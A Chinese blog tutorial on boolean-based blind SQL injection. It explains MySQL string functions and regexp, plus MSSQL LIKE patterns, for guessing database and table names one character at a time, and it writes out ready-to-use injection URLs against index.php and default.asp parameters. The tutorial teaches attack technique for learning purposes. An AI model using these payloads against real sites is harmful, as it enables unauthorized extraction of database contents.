美文网首页
盲注(一)

盲注(一)

作者: pigdaqiang | 来源:发表于2020-01-14 22:24 被阅读0次

基于布尔盲注---构造逻辑判断

注入过程中常用的猜解字符长的函数 mid(), substr(), left()

mid(column_name,start[,length]) 截取部分字符串
参数 描述
column_name 必需。要提取字符的字段
start 必需。规定开始的位置(起始值为1)
length 可选。要返回的字符数。如果省略,则mid()函数返回剩余文本

Eg:

​ str='123456' mid(str,2,1) --> 结果为2

sql列子:

1. mid(databse(),1,1)>'a' ,查看数据库名字的第一个字母,mid(database(),2,1)查看数据库名第二位,依次查看字符
    2. mid((select table_name from information_schema.tables where table_schema=0xxxxxxx limit 0,1),1,1)>'a' column_name参数为sql语句,可以自己构造来查询注入。
substr()函数

substr()和substring()函数实现的功能是一样的,都是截取字符串。

string substring(string, start, length)

string substr(string, start, length) //第一个是要处理的字符串,字符串开始的位置,截取的长度

sql列子:

1. substr(database(),1,1)>'a' 数据库第一位,substr(database(),2,1)数据库第二位,依次查看字符串
    2. substr((select table_name from information_schema.tables where table_schema=0xxxxxx limit 0,1),1,1)>'a'  string 位置构造sql语句注入。
left()函数

left从左部开始截取指定的字符

left(string, n) n为长度

sql:

left(database(),1)>'a' 数据库名第一位,left(database(),2)>'ab' 数据库前两位

string构造sql语句

ord()函数

将返回第一个字符的ascii码

ord(mid(database(),1,1))>114 检测第一个字母是否大于114 "r"

ascii()函数

ascii(substr((select database()),1,1)) =98 将字符转换成ascii值,同ord()函数

regexp 正则注入

用法:

select user() regexp '^[a-z]'

explain: 正则表达式的用法,user()结果为root ,regexp为匹配root的正则表达式

第二位可以用select user() regexp '^ro'

判断第一个表名的第一个字符是否是a-z中的字符,blind_sqli是假设已知的库名 ^[a-z]表示字符是在a-z范围内.

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema='blind_sqli') and table regexp '^[a-z]' limit 0,1) /*

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/* 判断是否为a-n中的字符
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /* 确定是否该字符为n
表达式范围缩小如下:expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

当正确的时候结果为1,不正确的时候显示结果为0.

select * from users where id =1 and 1=(if ((user() regexp '^r'), 1,0));

select * from users where id=1 and 1=(user() regexp '^ri');

利用if语句判断正确返回1,错误返回0

判断匹配结束$

$是从结尾开始判断的, table_name regexp'^username$' 来进行判断

关于匹配多个项:

改limit 0,1-->limit 1.1 是错误的,regexp匹配的时候会在所有项里面进行匹配.止血药循环爆破就好了.

MSSQL所用的正则表达式并不是标准正则表达式 ,该表达式使用 like关键词

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

该查询语句中,select top 1 是一个组合哦,不要看错了。

如果要查询其它的表名,由于不能像mysql哪样用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前x行里,其实查询的就是x+1行.

例如 查询第二行的表名:

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

select user() like 'ro%'

表达式的顺序:

'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

之所以表达式 news[a-z]查询后返回正确是应为%代表0-n个字符,使用"_"则只能代表一个字符。故确认后续是否还有字符克用如下表达式

'news%' TRUE -> 'news_' FALSE

相关文章

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • 盲注(一)

    基于布尔盲注---构造逻辑判断 注入过程中常用的猜解字符长的函数mid(), substr(), left() m...

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • Oracle手工盲注小结

    布尔盲注: 利用substr函数截取字符进行盲注: 猜测用户名: 通过substr、ascii函数进行盲注:注意:...

  • 布尔盲注&&时间盲注

    条件:返回正确或者错误页面 time-based

  • 盲注和底注

    盲注 盲注是指在扑克游戏中玩家们强制性下的注。这个注必须是在牌发出前就需要交付的。盲注轮流由在牌桌上的玩家中的2个...

  • 时间盲注

    时间盲注原理: 代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息 语句执行后也不提示真假,我们不...

  • Dnslog盲注

    01 背景知识 1. 什么是DNS? DNS的全称是Domain Name System(网络名称系统),它作为将...

  • 时间盲注

    ctf练习平台的web15 看代码知道没有注入的回显,所以想到使用时间盲注。select case when......

  • mysql盲注

    1注入点 我们先来看注入点,是一个B2B网站建站公司: /demo/b2b/member/check.php?js...

网友评论

      本文标题:盲注(一)

      本文链接:https://www.haomeiwen.com/subject/mvkzactx.html